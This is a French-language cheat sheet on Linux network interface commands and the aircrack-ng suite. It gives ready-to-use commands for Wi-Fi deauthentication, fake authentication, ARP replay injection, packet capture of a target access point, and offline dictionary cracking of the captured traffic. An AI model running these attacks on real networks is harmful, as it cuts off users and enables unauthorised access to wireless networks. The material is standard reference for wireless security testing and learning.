Cheat Sheet et documentations

Les interfaces réseaux:

ifconfig: **i**nter**f**ace **config**uration

Gestionnaire de vos interfaces réseaux. Peut configurer et afficher les paramètres de vos interfaces réseaux filaire et sans fil.

Commandes utiles:

```
# affichage des différentes interfaces
ifconfig

# affichage d une interface particulière
ifconfig wlan0

# activer une interface
ifconfig wlan0 up

# désactiver une interface
ifconfig wlan0 down

# attribuer une IP et un netmask à une interface
ifconfig wlan0 10.0.0.1 netmask 255.255.255.0
```

iwconfig: **i**nterface **w**ireless **config**uration

Gestionnaire de vos interfaces réseaux sans fil. Très semblable à *ifconfig* Peut configurer et afficher les paramètres spécifiquement non filaire de vos interfaces réseaux sans fil.

Commandes utiles:

```
# affichage des différentes interfaces
iwconfig

# affichage d une interface particulière
iwconfig wlan0

# changer le mode de la carte
iwconfig wlan0 mode [Managed|Monitor|Repeater|...]
```

```
# attribuer un nom à votre carte (en mode ad hoc)
iwconfig wlan0 essid MyWifi

# dé/activer le chiffrement sur votre interface (en mode ad hoc)
iwconfig wlan0 key on|off
iwconfig wlan0 enc on|off

# attribuer une clé de chiffrement
iwconfig wlan0 key s:"abcde"
```

La suite aircrack-ng:

Airmon-ng

```
#Activer le mode monitor avec outil airmon-ng
airmon-ng check kill
airmon-ng start [Votre interface Station]

#Désactiver le mode monitor et réactiver sa station Wi-Fi
airmon-ng stop [Votre interface monitor]
ifconfig [Votre interface Station] up
service network-manager restart
```

Aireplay-ng

```
# Attack 0: Deauthentication

aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 <Votre
interface monitor>

# -0 Attaque de deauth
# -a Adresse MAC du point d accès
# -c Adresse MAC de la station à deauth. Optionnel (broadcast par
défaut)


# Attack 1: Fake authentication

aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2
<Votre interface monitor>

# -1 Attaque de fausse authentification
```

```
# -e SSID du point d accès
# -a Adresse MAC du point d accès
# -h Adresse MAC de notre ordinateur (optionnel)

# Attack 3: ARP request replay attack

aireplay-ng -3 -b 20:aa:4b:f3:7e:b0 -h 00:11:22:33:44:55 -r
replay_arp.cap <Votre interface monitor>

# -3 attaque Replay
# -b adresse MAC du point d accès
# -h adresse MAC d un client associé au point d accès (optionnel)
# -r sauvegarde de trame ARP capturé que l on peut "rejouer"

# Attack 9: Injection test
aireplay-ng -9 [Votre interface monitor] -a 20:aa:4b:f3:7e:b0
# -9 injection test
# -a adresse MAC du point d accès
```

Airodump-ng

```
airodump-ng -c 10 --bssid 20:aa:4b:f3:7e:b0 -w output [Votre interface
monitor]

# -c canal de communication utilisé par le point d accès
# --bssid adresse MAC du point d accès
# -w fichier d output ou seront enregistré les trames capturé
```

Aircrack-ng

```
aircrack-ng  -b 20:aa:4b:f3:7e:b0 output.cap
aircrack-ng  -w dict.txt -b 20:aa:4b:f3:7e:b0 output.cap

# -w fichier dictionnaire pour les attaques brute forces hors ligne
# -b adresse MAC du point d accès
# output.cap fichier d output construit par airodump-ng
```